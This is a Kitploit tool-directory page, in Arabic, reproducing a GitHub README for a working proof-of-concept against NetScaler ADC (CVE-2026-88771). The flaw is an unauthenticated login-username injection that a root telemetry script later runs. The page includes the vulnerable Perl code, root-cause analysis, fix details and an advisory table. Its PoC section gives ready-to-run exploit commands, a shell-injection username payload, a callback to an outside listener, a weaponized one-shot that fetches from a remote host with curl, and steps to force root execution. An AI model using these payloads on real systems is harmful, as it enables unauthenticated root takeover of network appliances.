Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-88771-netscaler — تحليل فروق البرامج الثابتة، وكتابة تحليل السبب الجذري، وإثبات مفهوم عامل لثغرة حقن الأوامر غير المصادق عليها في NetScaler ADC (CVE-2026-88771) المؤدية إلى تنفيذ بصلاحيات الجذر. | Kitploit
أدوات/GitHubGitHub/craigsblackie/cve-2026-88771-netscaler
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةاستغلال تطبيقات الويبالأوراق والأبحاثتحليل البرامج الثابتة
GitHub

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
craigsblackie/cve-2026-88771-netscaler

cve-2026-88771-netscaler

تحليل فروق البرامج الثابتة، وكتابة تحليل السبب الجذري، وإثبات مفهوم عامل لثغرة حقن الأوامر غير المصادق عليها في NetScaler ADC (CVE-2026-88771) المؤدية إلى تنفيذ بصلاحيات الجذر.

عرض المستودع
111منذ شهر واحدلم تتم المراجعة بعد

CVE-2026-88771 — حقن أوامر قبل المصادقة في NetScaler ADC

تنفيذ أوامر عشوائية دون مصادقة (بصلاحيات الجذر) في Citrix ADC (NetScaler) 14.1-66.59 و14.1-72.61. تم إصلاحها في 14.1-73.37 (و13.1-64.23). CVSS 9.5، تؤثر على عمليات النشر الافتراضية، دون الحاجة إلى أي ميزة إضافية.

يحتوي هذا المستودع على تحليل فروقات البرنامج الثابت، والأدلة المستخرجة على الثغرة، وإثبات مفهوم عامل.

  • سلسلة الثغرة، مشروحة: analysis/CVE-2026-88771_STAGE_BY_STAGE.md
  • تقييم السبب الجذري ومصفوفة الانحدار: analysis/CVE-2026-88771_ROOT_CAUSE.md
  • إثبات المفهوم (مُتحقق من عمله): poc/ — انظر poc/README.md

الثغرة في فقرة واحدة

تُسجَّل محاولة تسجيل دخول إدارية فاشلة وغير مُصادَقة في /var/log/ns.log مع اسم المستخدم الذي يتحكم به المهاجم. عامل القياس عن بُعد الجذري المُفعَّل افتراضيًا (admautoregd، المُضمَّن في mastools_scripts.tgz الخارجي للبرنامج الثابت) يشغّل دوريًا /netscaler/ns_monuploadd_err.pl -WR. في الإصدارات المُعرَّضة للثغرة، يمرّر ذلك الفرع أسطر السجل المطابقة عبر سلسلة واسعة من grep | sed | awk ويُدرج النتيجة دون تنصيص داخل أمر shell:

# evidence/rootfs-72.61/netscaler/ns_monuploadd_err.pl:368-377 (14.1-66.59 / 72.61)
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |
tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`;
...
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;

اسم مستخدم مُصمَّم مثل pitboss NSPPE-00;id>/tmp/pwned;# unexpectedly died ينجو من خط المعالجة كرمز shell وهو NSPPE-00;id>/tmp/pwned;#-unexpectedly، لذا يُشغِّل مصرف backtick الأمر find ... -name NSPPE-00، ثم id>/tmp/pwned (بصلاحيات root)، ثم تعليق #.

السلسلة، مرحلة بمرحلة

  1. مدخلات غير مُصادَق عليها. يسمح معالج NITRO API بـ POST غير مُصادَق عليه إلى /nitro/v1/config/login (evidence/gui-72.61/admin_ui/nitro/nitro.php)؛ ويمرِّر متحكِّم تسجيل الدخول في المتصفح username/password حرفيًا (evidence/gui-72.61/admin_ui/php/application/controllers/Login.php).
  2. لا يوجد تحقُّق من المدخلات. يفحص محلِّل JSON لتسجيل الدخول في nsppe فقط length < 128 لاسم المستخدم — دون قائمة أحرف مسموح بها (إعادة التفكيك في analysis/nsppe_api_login_799b90.c).
  3. كتابة السجل. تُدقَّق محاولات تسجيل الدخول الفاشلة في /var/log/ns.log بصفتها CMD_EXECUTED مع اسم المستخدم في السجل (إعادة تفكيك المُنسِّق: analysis/nsppe_cmdexecuted_decomp.c).
  4. مستهلك بصلاحيات root. يبدأ خادم التسجيل التلقائي عند الإقلاع (nsstartpe.sh → admautoregd_ctl startup، بصلاحيات root)، وعند أول فحص له وكل 24 ساعة يُشغِّل CHECK_PE_FAILURE_CMD = '/netscaler/ns_monuploadd_err.pl -WR' عبر subprocess.Popen (evidence/mastools-72.61/scripts/admautoreg/constant.py).
  5. مصرف shell. يُدرِج فرع -WR في ns_monuploadd_err.pl الرمز المستخرَج من السجل دون تنصيص داخل أمر backtick — تنفيذ أوامر بصلاحيات root، قبل أي فحص لوجود ملف core.

الإصلاح (14.1-73.37)

أُصلِح الشقّان معًا:

  • يستبدل ns_monuploadd_err.pl خط المعالجة بتعبير نمطي Perl صارم (NSPPE-\d{2} + PID رقمي فقط) ويستدعي find عبر صيغة القائمة open '-|' (دون shell) — انظر evidence/rootfs-73.37/netscaler/ns_monuploadd_err.pl.
  • أُزيل المستدعي admautoregd بالكامل: CHECK_PE_FAILURE_CMD، و_check_disk_pe_failure()، وget_pe_failure_info() كلها لم تعد موجودة في حزمة mastools الخاصة بـ 73.37 — قارن evidence/mastools-72.61/ مع evidence/mastools-73.37/.

النشرة (CTX697096) — ثغرات CVE الشقيقة

CVE-2026-88771 هي واحدة من ثماني ثغرات CVE في نشرة Citrix المنسَّقة. وفقًا للنشرة ولمقالة watchTowr العامة، فإن المجموعة وتصنيفها كالتالي:

CVEالوصفCVSS 4.0مُستغَلَّة فعليًا
CVE-2026-88771حقن أوامر قبل المصادقة (هذا المستودع) — التكوين الافتراضي9.5 حرجةنعم
CVE-2026-88772تجاوز سعة الذاكرة (RCE/DoS) عند تفعيل DTLS — الافتراضي لخوادم VPN vServers9.5 حرجةنعم
CVE-2026-88773تهريب طلبات HTTP — يعتمد على التكوين9.3 حرجةلا
CVE-2026-88774يعتمد على التكوين7.0 عاليةلا
CVE-2026-88775تجاوز سعة الذاكرة — يعتمد على التكوين8.8 عاليةلا
CVE-2026-88776تجاوز سعة الذاكرة — يعتمد على التكوين8.8 عاليةلا
CVE-2026-88777تجاوز سعة الذاكرة — يعتمد على التكوين8.8 عاليةلا
CVE-2026-88778ISN قابل للتنبؤ — يُصلَح بتفعيل Enhanced ISN Generation، وليس بالترقية وحدها8.8 عاليةلا

الإصدارات المُصلَحة وفقًا للنشرة (وليس فقط زوجَي 14.1 / 13.1 أعلاه):

  • ADC / Gateway 14.1-73.37 وما بعده
  • ADC / Gateway 13.1-64.23 وما بعده (خط 13.1)
  • ADC 14.1-FIPS 14.1-73.37 FIPS وما بعده
  • ADC 13.1-FIPS / 13.1-NDcPP 13.1-37.279 وما بعده

كيفية تشغيل PoC

للاختبار المُصرَّح به فقط. الجانب البعيد هو طلب HTTPS واحد غير مُصادَق عليه من نوع POST؛ ويُشغَّل الأمر المحقون لاحقًا بصلاحيات root، عندما ينفِّذ عامل القياس عن بُعد فحص فشل PE الخاص به كل 24 ساعة (إعادة تشغيل الجهاز، أو إعادة تشغيل admautoregd، تُجبره على ذلك).

1. إطلاق الحقن (دون تنفيذ محلي)

# OOB out-of-band callback to your own listener (--callback or CVE88771_CALLBACK):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --callback https://your-listener.example

# Custom command (no '(', ')', spaces, '?', '&'; use ${IFS} for spaces):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 \
    --cmd 'id>/tmp/cve88771_ef60f0de46d9'

# Repeat the trigger
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --count 3

توقّع HTTP 401 — فشل تسجيل الدخول هو بالضبط ما يكتب سطر التدقيق. ثم على الجهاز (أو بالانتظار حتى 24 ساعة) شغّل الـ worker:

reboot
# or: /bin/sh /var/mastools/scripts/admautoreg/admautoregd_ctl restart

تحقق من تنفيذ الجذر: يجب أن يُظهر ls -l /tmp/cve88771_ef60f0de46d9 root:wheel.

2. طلقة واحدة مسلّحة (المضيف + الأمر كوسائط)

يفرض نفس قواعد الحمولة: يُرفض الأمر الذي يحتوي على مسافة حرفية أو ( أو ) أو ? أو & قبل الإرسال (الخروج 2). استخدم ${IFS} للمسافات.

python3 poc/cve_2026_88771_poc.py 10.0.0.5 'id>/tmp/cve88771_ef60f0de46d9'
python3 poc/cve_2026_88771_poc.py netscaler.local 'id>/tmp/pwned' --port 8443
python3 poc/cve_2026_88771_poc.py 10.0.0.5 'id' --marker   # random marker path

# command needs a space? use ${IFS} (no literal spaces allowed):
python3 poc/cve_2026_88771_poc.py 10.0.0.5 '/usr/bin/curl${IFS}-sk${IFS}http://10.0.0.9/88771'

3. أداة اختبار آمنة للمحلل فقط (بدون HTTP، بدون shell)

تؤكد أن خط المعالجة المعرّض للثغرات يمرر أحرفًا ذات دلالة خاصة في shell إلى نقطة التصريف الخاصة به، دون تنفيذ أي شيء:

python3 poc/safe_cve_2026_88771_parser_poc.py
python3 -m unittest discover -s poc -p 'test_*.py' -v

تخطيط المستودع

تنزيل الأداة